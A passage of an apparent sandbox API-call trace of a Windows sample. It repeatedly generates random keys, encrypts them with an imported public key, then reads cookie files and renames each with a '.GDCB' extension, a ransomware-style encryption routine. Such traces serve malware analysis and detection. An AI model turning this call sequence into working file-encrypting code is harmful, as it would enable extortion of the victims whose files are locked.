phProv=0x285d23c*=0x5c4430) returned 1 [0187.187] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.188] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.188] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0187.188] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.188] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0187.190] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7fe58) returned 1 [0187.190] CryptGetKeyParam (in: hKey=0x4f7fe58, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0187.190] CryptEncrypt (in: hKey=0x4f7fe58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0187.191] GetLastError () returned 0x0 [0187.191] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0187.191] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0187.192] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f803d8) returned 1 [0187.192] CryptGetKeyParam (in: hKey=0x4f803d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0187.193] CryptEncrypt (in: hKey=0x4f803d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0187.193] GetLastError () returned 0x0 [0187.193] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.193] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\8JC8NM7O.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\8jc8nm7o.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0187.195] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.196] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.197] ReadFile (in: hFile=0x514, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d3e8*=0xc9, lpOverlapped=0x0) returned 1 [0187.206] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.227] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\8JC8NM7O.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\8jc8nm7o.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\8JC8NM7O.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\8jc8nm7o.txt.gdcb")) returned 1 [0187.248] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0187.249] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.250] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.250] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.250] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.250] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.251] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.252] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.252] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.252] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.253] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0187.255] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80018) returned 1 [0187.255] CryptGetKeyParam (in: hKey=0x4f80018, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.255] CryptEncrypt (in: hKey=0x4f80018, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.255] GetLastError () returned 0x0 [0187.255] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.255] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0187.257] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80498) returned 1 [0187.257] CryptGetKeyParam (in: hKey=0x4f80498, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.257] CryptEncrypt (in: hKey=0x4f80498, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.257] GetLastError () returned 0x0 [0187.257] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.257] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\0GHTMU6X.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\0ghtmu6x.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.259] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.260] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.261] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x6b, lpOverlapped=0x0) returned 1 [0187.271] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.275] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\0GHTMU6X.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\0ghtmu6x.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\0GHTMU6X.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\0ghtmu6x.txt.gdcb")) returned 1 [0187.281] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0187.283] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.284] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.284] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.284] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0187.284] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0187.285] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.286] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.286] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.286] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.286] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0187.289] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f802d8) returned 1 [0187.289] CryptGetKeyParam (in: hKey=0x4f802d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.289] CryptEncrypt (in: hKey=0x4f802d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.289] GetLastError () returned 0x0 [0187.289] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.289] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0187.291] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80098) returned 1 [0187.291] CryptGetKeyParam (in: hKey=0x4f80098, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.291] CryptEncrypt (in: hKey=0x4f80098, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.291] GetLastError () returned 0x0 [0187.291] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0187.291] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\0MDKR34W.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\0mdkr34w.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.293] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.295] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.296] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xa1, lpOverlapped=0x0) returned 1 [0187.304] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.309] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\0MDKR34W.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\0mdkr34w.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\0MDKR34W.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\0mdkr34w.txt.gdcb")) returned 1 [0187.315] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0187.316] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.317] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.317] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.317] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0187.317] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0187.318] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.319] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.319] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.319] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0187.319] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0187.321] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80398) returned 1 [0187.321] CryptGetKeyParam (in: hKey=0x4f80398, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.322] CryptEncrypt (in: hKey=0x4f80398, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.322] GetLastError () returned 0x0 [0187.322] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.322] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0187.324] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80418) returned 1 [0187.324] CryptGetKeyParam (in: hKey=0x4f80418, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.324] CryptEncrypt (in: hKey=0x4f80418, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.324] GetLastError () returned 0x0 [0187.324] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.324] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\0Z1JIEVI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\0z1jievi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.327] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.328] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.329] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xdf, lpOverlapped=0x0) returned 1 [0187.338] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.359] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\0Z1JIEVI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\0z1jievi.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\0Z1JIEVI.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\0z1jievi.txt.gdcb")) returned 1 [0187.366] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.368] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.369] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.369] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.369] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.369] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.370] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.371] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.371] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.372] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.372] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0187.374] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f7fed8) returned 1 [0187.374] CryptGetKeyParam (in: hKey=0x4f7fed8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.374] CryptEncrypt (in: hKey=0x4f7fed8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.374] GetLastError () returned 0x0 [0187.374] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.374] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0187.376] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f804d8) returned 1 [0187.376] CryptGetKeyParam (in: hKey=0x4f804d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.376] CryptEncrypt (in: hKey=0x4f804d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.376] GetLastError () returned 0x0 [0187.376] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0187.377] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\16DOE15M.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\16doe15m.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.379] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.380] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.381] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x5d, lpOverlapped=0x0) returned 1 [0187.391] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.395] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\16DOE15M.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\16doe15m.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\16DOE15M.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\16doe15m.txt.gdcb")) returned 1 [0187.403] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.404] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.405] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.405] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.405] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.406] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0187.407] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.408] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.408] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.408] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0187.408] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0187.411] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f7fd18) returned 1 [0187.411] CryptGetKeyParam (in: hKey=0x4f7fd18, dwParam=0x8, pbData=0x285cf94, 